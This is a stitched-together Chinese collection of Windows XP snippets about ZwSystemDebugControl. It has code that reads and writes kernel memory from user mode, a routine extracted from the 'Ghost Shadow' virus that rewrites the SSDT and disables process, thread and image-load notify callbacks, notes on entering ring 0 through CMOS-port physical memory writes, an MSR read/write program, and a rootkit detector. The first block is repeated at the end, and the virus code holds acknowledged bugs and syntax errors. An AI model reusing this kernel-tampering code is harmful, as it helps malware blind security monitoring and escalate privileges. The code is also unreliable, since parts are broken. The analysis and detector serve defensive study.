使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存
//读取
MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
(
SysDbgReadVirtualMemory,
&QueryBuff,
sizeof(MEMORY_CHUNKS),
NULL,
0,
&ReturnLength
);
//恢复
MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
(
SysDbgWriteVirtualMemory,
&QueryBuff,
sizeof(MEMORY_CHUNKS),
NULL,
0,
&ReturnLength
);
=========================
/***************************************************************************************
*
* 分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
* 该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
* PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
* PsSetCreateThreadNotifyRoutine 三个钩子。
*
* 代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
* 逆向 by Fypher
* http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
// 先提权
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
tkp.Privileges[0].Luid.LowPart = luid.LowPart;
tkp.Privileges[0].Luid.HighPart = luid.HighPart;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
}
}
CloseHandle(hObject); // 此处有bug
// 获取所需函数,应该检查一下返回值
char strProcName[32] = "ZwSystemDebugControl";
HMODULE hNtdll = GetModuleHandle("ntdll");
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);
strcpy(strProcName, "NtQuerySystemInformation");
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);
// 查询系统模块信息
ULONG ulRet = 0;
NTSTATUS status;
status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
if (status != STATUS_INFO_LENGTH_MISMATCH)
return 0;
// 这里写得不好,没有检查返回值,并且用 heap 类函数快得多
HLOCAL hlocal = LocalAlloc(LPTR, ulRet);
status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet))
return 0; // 此处有资源泄露,应该释放 hlocal
// WS的方式把 ntoskrnl 的真名找到了
PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtoskrnl)
return 0; // 此处有资源泄露,应该释放 hlocal
// 准备恢复SSDT
strcpy(strProcName, "KeServiceDescriptorTable");
ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE; // 取得基址,多余操作
ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头
ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase
ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;
MEMORY_CHUNKS QueryBuff;
QueryBuff.Address = (ULONG)ulSSDTAddr;
ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage
PVOID lpAddress;
int i = 0;
if (ulSizeOfImage) {
while (1) {
lpAddress = (LPVOID)(ulNtoskrnlBase + i);
// 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx
// 特征码 C7 05 SSDT xxxx
if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
break;
}
++i;
if (i >= ulSizeOfImage)
break;
}
if (i <ulSizeOfImage)
QueryBuff.Address = *((PULONG)lpAddress + 1);
}
if (i == ulSizeOfImage) {
return 0; // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
}
else { // 此处有bug, i > ulSizeOfImage后程序会流向此处
PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
DWORD dwOldProtect = 0;
VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值
int num = 280; // 这里写得不好,函数个数应该动态获取
do {
FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
--num;
} while (num >= 0);
// 恢复SSDT
DWORD dwRet;
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = FunAddr;
QueryBuff.Length = 1120; // 这里写得不好,函数个数应该动态获取
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子
// 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug
do {
++ulProcAddr;
} while ( *(WORD *)ulProcAddr != 0xCCCC );
while (ulProcAddr > QueryBuff.Address ) {
// 寻找 PsImageNotifyEnabled
// mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);
// 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
int buff = 0;
QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff
QueryBuff.Length = 1;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
--ulProcAddr;
}
}
// 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
// 找函数出口,retn 8
while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
++ulProcAddr;
if (ulProcAddr >= QueryBuff.Address + 256)
break;
}
while ( ulProcAddr < QueryBuff.Address + 256 ) {
// 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
ulProcAddr += 4;
}
++ulProcAddr;
}
}
// 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
while (1) {
if (ulProcAddr >= QueryBuff.Address + 256)
break;
if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
break;
++ulProcAddr;
}
for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
if ((*(BYTE *)addr & 0xF8) == 0xB8) {
if (*(PULONG)(addr + 1) > 0x400000) {
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
addr += 4;
}
}
}
FreeLibrary(hNtoskrnl);
return NT_SUCCESS(status); // 此处有资源泄露,应该释放 hlocal
}
}
========================================================
利用ZwSystemDebugControl进入R0
利用ZwSystemDebugControl进入R0
算是半公开了很久的技术吧
貌似去年底XYZREG就在BLOG里提到过了,不过貌似正式的利用方法一直没有人说
今天有人放了个BIN出来
索性就简单讲讲这玩意好了
更多细节见驱网上某人的BIN和我反的IDB~
通过
ZwSystemDebugControl(SysDbgRead/WriteBusData) -> KdpRead/WriteBusData (SoltNumber=1,BusType=BUS_CMOS) ->HalGet/SetBusDataByOffset(BusType=BUS_CMOS,SoltNumber=1) -> HalpSet/GetCmosData(SoltNumber=1)
可以直接读写系统的物理内存
实际就是调用HalSet/GetCmosData中的代码
写入系统的74~76H号端口,来进行物理内存读写
0074-0076 secondary CMOS (Compaq), NVRAM (IBM) access
0074 w secondary CMOS RAM (IBM NVRAM) index, low byte
0075 w secondary CMOS RAM (IBM NVRAM) index, high byte
0076 r/w secondary CMOS RAM (IBM NVRAM) data byte
Note: NVRAM may be 2K, 8K, or 16K
能读写物理内存,自然就可以轻松进入R0了
不过这个方法似乎在部分机器上会造成蓝屏~
=================================================================
//?XP下利用“ZwSystemDebugControl ”API函数读写CPU MSR
/****************************************************************************
********************** 声明部分 ***********************
****************************************************************************/
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32")
#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a " failed/n"); return 0;}
typedef int NTSTATUS;
typedef enum _SYSDBG_COMMAND
{
DebugSysReadMsr = 16, //读取MSR参数
DebugSysWriteMsr = 17, //写入MSR参数
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;
typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
typedef struct _MSR_STRUCT {
DWORD MsrNum; // MSR number
DWORD NotUsed; // Never accessed by the kernel
DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR
DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;
//---------申请访问权限---------
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
MSR_STRUCT msr;
EnablePrivilege (SE_DEBUG_NAME);
FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);
if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
msr.MsrNum=409; //MSR 地址,十进制形式
//写入时要设置以下数据
// msr.MsrHi=00;
// msr.MsrLo=1030;
ZwSystemDebugControl
(
DebugSysReadMsr, //如果想写入,则改为DebugSysWriteMsr
&msr,
sizeof (msr),
NULL,
0,
NULL
);
printf("%08X=%08X-%08X/n",msr.MsrNum,msr.MsrHi,msr.MsrLo);
Sleep(10000);
}
else
{
printf ("This program require Windows XP or Windows 2003./n");
}
return 0;
}
//------------------------------------------------------------------------
使用ZwSystemDebugControl的简易用户模式Rootkit检测器代码
NTSTATUS
ReadKernelMemory(IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG Length)
{
NTSTATUS Status;
SYSDBG_VIRTUAL DbgMemory;
//
// Setup the request
//
DbgMemory.Address = BaseAddress;
DbgMemory.Buffer = Buffer;
DbgMemory.Request = Length;
//
// Do the read
//
Status = NtSystemDebugControl(SysDbgReadVirtual,
&DbgMemory,
sizeof(DbgMemory),
NULL,
0,
NULL);
return Status;
}
PCHAR
FindDriverForAddress(IN PVOID Pointer)
{
NTSTATUS Status;
PRTL_PROCESS_MODULES ModuleInfo;
PRTL_PROCESS_MODULE_INFORMATION ModuleEntry;
ULONG ReturnedLength;
ULONG i;
//
// Figure out how much size we need
//
Status = NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&ReturnedLength);
if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;
//
// Allocate a buffer large enough
//
ModuleInfo = RtlAllocateHeap(RtlGetProcessHeap(), 0, ReturnedLength);
if (!ModuleInfo) return NULL;
//
// Now query the data again
//
Status = NtQuerySystemInformation(SystemModuleInformation,
ModuleInfo,
ReturnedLength,
&ReturnedLength);
if (!NT_SUCCESS(Status)) return NULL;
//
// Loop all the drivers
//
for (i = 0; i < ModuleInfo->NumberOfModules; i++)
{
//
// Get the current entry and check if the pointer is within it
//
ModuleEntry = &ModuleInfo->Modules[i];
if ((Pointer > ModuleEntry->ImageBase) &&
(Pointer < ((PVOID)((ULONG_PTR)ModuleEntry->ImageBase +
ModuleEntry->ImageSize))))
{
//
// Found a match, return it
//
return ModuleEntry->FullPathName;
}
}
}
PCHAR
DetectDriver(VOID)
{
BOOLEAN Old;
NTSTATUS Status;
ULONG_PTR MappedAddress;
PVOID KernelBase, TableBase;
UNICODE_STRING KernelName;
ANSI_STRING TableName = RTL_CONSTANT_STRING("KeServiceDescriptorTable");
RTL_PROCESS_MODULES ModuleInfo;
ULONG Flags;
KSERVICE_TABLE_DESCRIPTOR ServiceTable;
//
// Give our thread the debug privilege
//
Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &Old);
if (!NT_SUCCESS(Status)) return NULL;
//
// Query the kernel's module entry
//
Status = NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof(ModuleInfo),
NULL);
if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;
//
// Initialize the kernel's full path name
//
Status = RtlCreateUnicodeStringFromAsciiz(&KernelName,
ModuleInfo.Modules[0].FullPathName);
if (!Status) return NULL;
//
// Keep only the short name
//
KernelName.Buffer = KernelName.Buffer +
(KernelName.Length / sizeof(WCHAR)) -
12;
//
// Map the kernel
//
Flags = IMAGE_FILE_EXECUTABLE_IMAGE;
Status = LdrLoadDll(NULL, &Flags, &KernelName, &KernelBase);
if (!NT_SUCCESS(Status)) return NULL;
//
// Find the address of KeServiceDescriptorTable
//
Status = LdrGetProcedureAddress(KernelBase, &TableName, 0, &TableBase);
if (!NT_SUCCESS(Status)) return NULL;
//
// Unload the kernel image, we're done with it
//
Status = LdrUnloadDll(KernelBase);
if (!NT_SUCCESS(Status)) return NULL;
//
// Get the virtual address we need
//
MappedAddress = (ULONG_PTR)ModuleInfo.Modules[0].ImageBase;
MappedAddress -= (ULONG_PTR)KernelBase;
MappedAddress += (ULONG_PTR)TableBase;
//
// Now read the SSDT
//
Status = ReadKernelMemory((PVOID)MappedAddress,
&ServiceTable,
sizeof(ServiceTable));
if (!NT_SUCCESS(Status)) return NULL;
//
// Setup the argument table
//
ArgumentTable = RtlAllocateHeap(RtlGetProcessHeap(),
0,
ServiceTable.Limit * sizeof(ULONG_PTR));
if (!ArgumentTable) return NULL;
//
// Now fill it up
//
Status = ReadKernelMemory(ServiceTable.Base,
ArgumentTable,
ServiceTable.Limit * sizeof(ULONG_PTR));
if (!NT_SUCCESS(Status)) return NULL;
//
// Now scan it
//
for (i = 0; i < ServiceTable.Limit; i++)
{
//
// Make sure no pointer is outside the kernel area
//
if (ArgumentTable[i] > 0x8FFFFFFF)
{
//
// Find the driver file that this belongs to
//
return FindDriverForAddress(UlongToPtr(ArgumentTable[i]));
}
}
//
// If we got here, then you don't have any rootkit
//
return NULL;
}
=====================================================================
ring3下用ZwSystemDebugControl获取和恢复SSDT
使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存
//读取
MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
(
SysDbgReadVirtualMemory,
&QueryBuff,
sizeof(MEMORY_CHUNKS),
NULL,
0,
&ReturnLength
);
//恢复
MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
(
SysDbgWriteVirtualMemory,
&QueryBuff,
sizeof(MEMORY_CHUNKS),
NULL,
0,
&ReturnLength
);